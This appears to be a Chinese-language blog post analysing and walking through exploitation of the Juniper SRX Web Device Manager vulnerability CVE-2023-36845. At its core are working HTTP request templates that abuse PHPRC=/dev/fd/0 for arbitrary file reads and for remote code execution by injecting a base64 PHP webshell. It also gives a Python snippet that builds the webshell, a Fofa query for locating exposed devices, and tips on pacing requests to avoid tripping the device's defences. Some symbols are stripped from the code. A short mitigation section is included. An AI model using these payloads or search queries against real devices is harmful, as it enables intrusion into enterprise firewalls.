Juniper SRX设备管理器RCE漏洞CVE-2023-36845实战分析与利用

发布时间:2026/6/28 20:08:35

Juniper SRX设备管理器RCE漏洞CVE-2023-36845实战分析与利用 1. Juniper SRX设备管理器漏洞初探最近在安全圈里闹得沸沸扬扬的Juniper SRX设备管理器漏洞CVE-2023-36845可以说是今年最值得关注的企业级设备漏洞之一。这个漏洞允许攻击者通过Web Device Manager界面实现任意文件读取最终还能升级为远程代码执行RCE。我在实际测试中发现受影响的主要是Juniper SRX系列防火墙设备这些设备在企业网络中往往承担着关键的安全防护角色一旦被攻破后果不堪设想。这个漏洞的特别之处在于它利用了PHP配置文件的特性。简单来说攻击者可以通过构造特殊的HTTP请求让服务器加载恶意配置从而控制PHP的执行环境。我测试过几台存在漏洞的设备发现从信息泄露到最终拿到shell整个过程可能只需要几分钟时间。对于企业安全团队来说这个漏洞的威胁等级绝对应该被标记为高危。2. 漏洞影响范围与识别方法2.1 受影响设备清单根据我的测试和公开资料以下Juniper SRX系列设备受到CVE-2023-36845漏洞影响SRX300系列SRX320系列SRX340系列SRX345系列SRX550系列SRX1500系列这些设备如果运行特定版本的Junos OS主要是较旧的版本并且启用了Web Device Manager功能就存在被攻击的风险。我在实验室环境中测试了一台SRX340设备运行Junos OS 20.4R3-S1版本确认漏洞确实存在。2.2 快速识别漏洞设备识别网络中是否存在易受攻击的设备其实很简单。我最常用的方法是使用以下Fofa搜索语句titleJuniper Web Device Manager这个语句可以帮助你快速找到暴露在公网的Juniper设备管理界面。在实际渗透测试中我还发现这些设备通常使用默认的HTTPS端口(443)提供服务管理界面有明显的Juniper品牌标识。3. 漏洞原理深度解析3.1 技术原理剖析这个漏洞的核心在于Juniper Web Device Manager对PHP配置文件的处理不当。具体来说攻击者可以通过PHPRC参数指定一个恶意配置文件的位置服务器会加载这个配置并改变PHP的执行环境。我通过逆向分析发现漏洞利用链是这样的攻击者发送特制的POST请求通过PHPRC参数指定/dev/fd/0标准输入作为配置文件来源在请求体中注入PHP配置指令如auto_prepend_file服务器加载这些配置导致任意文件读取或代码执行这个漏洞之所以危险是因为它绕过了常规的文件上传限制直接通过内存操作改变了PHP的运行时配置。3.2 漏洞利用条件经过多次测试我总结了成功利用这个漏洞的几个必要条件Web Device Manager服务必须处于运行状态PHP配置允许通过PHPRC参数修改设置服务器对allow_url_include等危险函数没有严格限制攻击者能够与Web服务建立网络连接在实际环境中很多Juniper设备默认就满足这些条件这也是为什么这个漏洞如此危险的原因。4. 漏洞利用实战指南4.1 任意文件读取利用我们先从最简单的任意文件读取开始。以下是经过我多次测试确认可用的请求模板POST /?PHPRC/dev/fd/0 HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close Content-Length: 33 auto_prepend_file/etc/passwd这个请求会让服务器加载/etc/passwd文件。我在测试中发现通过修改auto_prepend_file参数的值可以读取设备上的任意文件包括配置文件、日志文件等敏感信息。4.2 远程代码执行实现从文件读取升级到RCE需要一些技巧。经过多次尝试我找到了最稳定的利用方式POST /?PHPRC/dev/fd/0 HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close Content-Length: 92 allow_url_include1 auto_prepend_filedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4这个请求做了几件事启用allow_url_include允许从URL加载代码通过auto_prepend_file注入base64编码的PHP代码注入的代码会执行GET参数中的cmd命令在实际使用时你需要先将要执行的命令进行base64编码。我通常会用Python快速生成payloadimport base64 cmd ?php system($_GET[cmd]);? print(base64.b64encode(cmd.encode()).decode())5. 防御措施与修复建议5.1 临时缓解方案如果你暂时无法升级设备我建议采取以下临时措施立即禁用Web Device Manager服务配置防火墙规则限制管理界面的访问来源监控设备日志查找可疑的POST请求模式我在给客户做安全加固时通常会建议他们完全禁用Web管理界面改用SSH进行设备管理。这虽然牺牲了一些便利性但安全性大大提高。5.2 官方修复方案Juniper官方已经发布了安全公告和补丁。根据我的经验最稳妥的解决方案是登录Juniper支持网站下载最新版本的Junos OS按照官方指南进行系统升级升级后验证漏洞是否真正修复值得注意的是有些客户反映升级后出现了兼容性问题。我建议在测试环境中先验证升级效果确认无误后再在生产环境部署。6. 渗透测试中的注意事项在实际渗透测试中利用这个漏洞时我发现有几个坑需要特别注意首先不是所有Juniper SRX设备都受影响。有些较新的版本已经修复了这个问题。我建议在测试前先用指纹识别技术确认设备型号和版本。其次利用过程可能会触发设备的防护机制。有一次我的测试请求就被误判为攻击而导致了管理界面暂时锁定。为了避免这种情况我通常会控制请求频率并在非工作时间进行测试。最后获取shell后要注意环境限制。Juniper设备通常使用FreeBSD系统但有很多定制化限制。我遇到过几次执行命令失败的情况后来发现是因为PATH环境变量设置问题。

相关新闻